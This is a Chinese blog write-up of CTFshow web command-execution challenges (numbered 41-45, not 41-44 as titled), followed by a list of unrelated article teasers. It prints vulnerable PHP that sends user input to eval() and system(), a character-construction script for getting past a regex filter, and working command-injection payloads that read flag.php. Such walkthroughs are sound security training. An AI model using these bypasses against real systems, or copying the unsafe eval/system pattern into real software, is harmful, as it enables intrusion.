CTFshow web(命令执行 41-44)
web41
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
额,这里直接就给禁止所有字母和数字,
其实看到这种全过滤,反倒是只有一种解法,就是构造字符串
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符
根据羽师傅的脚本:
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
脚本意思:
从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符

根据脚本运行结果会出现每个字符对应的表示方法,构造
(system)(cat flag.php)
把对应的字符一一找到,然后在bp上提交就好,注意hackbar上提交的话会有换行的干扰,在bp提交
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
web42
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
典型的双写绕过,因为 system($c." >/dev/null 2>&1");这里会把你所输入的内容写入黑洞,所以使用双写绕过,也就是说把第二个放进黑洞,第一个那就保留住了的意思。
payload:
?c=cat flag.php;ls
当然还有一种方法:那就是结尾加入 ||,意思就是只执行前面的命令,后面的就被写入黑洞了


当然想要简洁的话直接?c=cat flag.php ||
web43
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
知识点:引用chin“师傅的表格来解释好一些
| 2>/dev/null | 意思就是把错误输出到“黑洞” |
|---|---|
| >/dev/null 2>&1 | 默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞” |
| -2>&1 >/dev/null- | -意思就是把错误输出2重定向到标准出书1,也就是屏幕,标准输出进了“黑洞”,也就是标准输出进了黑洞,错误输出打印到屏幕- |
思路:
这里思路一样,只是不能使用分隔符号了而已,那就使用&符号进行分割,他的意思就是说第一个命令执行后第二个命令才会执行,那就起到了命令分割的作用,但是使用必须要URL-encode,因为是url传过去的,所以要记得用url编码,不然没有回显
payload:?c=tac flag.php%26ls
web45
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里其实就比上面多过滤了个flag而已,所以直接使用?过滤就好
payload:?c=tac fl??.php%26ls

真诚希望文章能够帮助大家,谢谢!
相关文章:
CTFshow web(命令执行 41-44)
web41 <?php /* # -*- coding: utf-8 -*- # Author: 羽 # Date: 2020-09-05 20:31:22 # Last Modified by: h1xa # Last Modified time: 2020-09-05 22:40:07 # email: 1341963450qq.com # link: https://ctf.show */ if(isset($_POST[c])){ $c $_POST[c]; if(!p…...
XML介绍和基本语法
XML简介 XML(eXtensible Markup Language,可扩展标记语言)是一种用于标记电子文件使其具有结构性的标记语言。它允许用户定义自己的标记元素,使得信息的共享和数据的存储更加便捷和通用。XML广泛应用于Web开发、配置文件、数据交…...
Android:Android Studio安装及环境配置
1开发环境搭建 Android开发需要使用java的jdk环境,所以需要下载JAVA JDK。 1.1安装配置JAVA JDK Java的JDK下载: https://www.oracle.com/technetwork/java/javase/downloads/index.html 配置java的环境变量: JAVA_HOME:java安装路径。 新增环境变量CLASSPATH 在Path环境…...
力扣刷题之旅:进阶篇(三)
力扣(LeetCode)是一个在线编程平台,主要用于帮助程序员提升算法和数据结构方面的能力。以下是一些力扣上的入门题目,以及它们的解题代码。 --点击进入刷题地址 一、动态规划(DP) 首先,让我们来…...
代码随想录 Leetcode55. 跳跃游戏
题目: 代码(首刷自解 2024年2月9日): class Solution { public:bool canJump(vector<int>& nums) {int noz 0;for (int i nums.size() - 2; i > 0; --i) {if (nums[i] 0) {noz;continue;} else {if (nums[i] > noz) noz …...
Go Context -- 管理请求的上下文信息
在Go语言中,管理请求的上下文信息对于构建可靠的并发程序至关重要。context 包为我们提供了一种优雅的方式来传递请求的取消信号、超时信息和请求范围的值。接下来将深入探讨Go中的 context 包,包括其基本概念、用法、实际应用场景和最佳实践,…...
springboot170图书电子商务网站的设计与实现
简介 【毕设源码推荐 javaweb 项目】基于springbootvue 的 适用于计算机类毕业设计,课程设计参考与学习用途。仅供学习参考, 不得用于商业或者非法用途,否则,一切后果请用户自负。 看运行截图看 第五章 第四章 获取资料方式 **项…...
设计模式(结构型模式)适配器模式
目录 一、简介二、使用2.1、目标接口2.2、被适配者2.3、适配器2.4、使用 一、简介 适配器模式是一种结构型设计模式,允许将一个类的接口转换成客户端所期望的另一个接口,使得原本由于接口不兼容而不能一起工作的类能够协同工作。适配器模式通常用于连接两…...
计算机网络基本知识(二)
文章目录 概要分层为什么分层怎么分层?1.实体2.协议3.服务 分层基本原则正式认识分层详细例子解释 总结 概要 分层知识:概念理解 分层 为什么分层 大致以上五点 为了解决上面的问题(复杂) 大问题划分为小问题 怎么分层&#…...
158基于matlab的用于分析弧齿锥齿轮啮合轨迹的程序
基于matlab的用于分析弧齿锥齿轮啮合轨迹的程序,输出齿轮啮合轨迹及传递误差。程序已调通,可直接运行。 158 matlab 弧齿锥齿轮啮合轨迹 传递误差 (xiaohongshu.com)...
C#中的浅度和深度复制(C#如何复制一个对象)
文章目录 浅度和深度复制浅度复制深度复制如何选择 浅度和深度复制 在C#中,浅度复制(Shallow Copy)和深度复制(Deep Copy)是两种不同的对象复制方式,满足不同的应用场景需求,它们主要区别在于处…...
2.6日学习打卡----初学RabbitMQ(一)
2.6日学习打卡 初识RabbitMQ、 一. MQ 消息队列 MQ全称Message Queue(消息队列),是在消息的传输过程中保 存消息的容器。多用于系统之间的异步通信。 同步通信相当于两个人当面对话,你一言我一语。必须及时回复 异步通信相当于通…...
Rust语言之集合
文章目录 一、元组(tuple)1.元组定义2.元组使用解构索引 3.元组修改非可变元组可变元组类型不一致 二、数组1.数组不可变数组定义可变数组定义数组使用数组修改数组的遍历 2.动态数组-向量(Vector)向量定义向量遍历向量追加向量插…...
有道论文翻译接口,python版和lua版
论文翻译接口python版 import requests import hashlib from urllib.parse import quotedef get_md5(s,is_hexTrue):md5hashlib.md5()md5.update(s.encode())if is_hex:return md5.hexdigest()return md5.digest()def translate(source_url,from_en,tozh-CHS):params {from: f…...
java大数据hadoop2.9.2 Flume安装操作
1、flume安装 (1)解压缩 tar -xzvf apache-flume-1.9.0-bin.tar.gz rm -rf apache-flume-1.9.0-bin.tar.gz mv ./apache-flume-1.9.0-bin/ /usr/local/flume (2)配置 cd /usr/local/flume/conf cp ./flume-env.sh.template…...
环境配置:Ubuntu18.04 ROS Melodic安装
前言 不同版本的Ubuntu与ROS存在对应关系。 ROS作为目前最受欢迎的机器人操作系统,其核心代码采用C编写,并以BSD许可发布。ROS起源于2007年,是由斯坦福大学与机器人技术公司Willow Garage合作的Switchyard项目。2012年,ROS团队从…...
2024.2.7-8 寒假训练记录(21)
文章目录 洛谷P3193 [HNOI2008] GT考试ATC abc339E Smooth SubsequenceATC abc339F Product Equality 洛谷P3193 [HNOI2008] GT考试 题目链接 KMPdp矩阵快速幂 还没有理解得很清楚,主要是对KMP理解还不够深刻 #include <bits/stdc.h>using namespace std;…...
C++ pair 的使用
pair的作用 C 中的 std::pair 是标准模板库 (STL) 提供的一个容器,它能够存储两个不同类型的数据作为一个整体,其中first:访问 pair 的第一个元素。second:访问 pair 的第二个元素。 int main() {pair<string, int> p;//通…...
AAAI 2024 | Adobe提出全新上下文提示学习框架CoPL,高效提升下游性能
论文题目:CoPL: Contextual Prompt Learning for Vision-Language Understanding 论文链接:https://arxiv.org/abs/2307.00910 提示学习(Prompt Learning)在近几年的快速发展,激活了以Transformer为基础的大型语言模型…...
Arcgis使用过程中常见问题解决方法
Arcgis无法连接数据库/数据库连接或创建失败解决方法 最近在使用arcgis过程中出现无法连接数据库或者是无法创建数据库。连接到数据库失败;无法创建新的数据库,权限被拒绝(如下图)。 出现这个原因是你所用的电脑系统文件dao360.…...
19c补丁后oracle属主变化,导致不能识别磁盘组
补丁后服务器重启,数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后,存在与用户组权限相关的问题。具体表现为,Oracle 实例的运行用户(oracle)和集…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...
微信小程序 - 手机震动
一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注:文档 https://developers.weixin.qq…...
《基于Apache Flink的流处理》笔记
思维导图 1-3 章 4-7章 8-11 章 参考资料 源码: https://github.com/streaming-with-flink 博客 https://flink.apache.org/bloghttps://www.ververica.com/blog 聚会及会议 https://flink-forward.orghttps://www.meetup.com/topics/apache-flink https://n…...
tree 树组件大数据卡顿问题优化
问题背景 项目中有用到树组件用来做文件目录,但是由于这个树组件的节点越来越多,导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多,导致的浏览器卡顿,这里很明显就需要用到虚拟列表的技术&…...
如何理解 IP 数据报中的 TTL?
目录 前言理解 前言 面试灵魂一问:说说对 IP 数据报中 TTL 的理解?我们都知道,IP 数据报由首部和数据两部分组成,首部又分为两部分:固定部分和可变部分,共占 20 字节,而即将讨论的 TTL 就位于首…...
深度学习习题2
1.如果增加神经网络的宽度,精确度会增加到一个特定阈值后,便开始降低。造成这一现象的可能原因是什么? A、即使增加卷积核的数量,只有少部分的核会被用作预测 B、当卷积核数量增加时,神经网络的预测能力会降低 C、当卷…...
Reasoning over Uncertain Text by Generative Large Language Models
https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829 1. 概述 文本中的不确定性在许多语境中传达,从日常对话到特定领域的文档(例如医学文档)(Heritage 2013;Landmark、Gulbrandsen 和 Svenevei…...
html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码
目录 一、👨🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨…...
VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP
编辑-虚拟网络编辑器-更改设置 选择桥接模式,然后找到相应的网卡(可以查看自己本机的网络连接) windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置,选择刚才配置的桥接模式 静态ip设置: 我用的ubuntu24桌…...
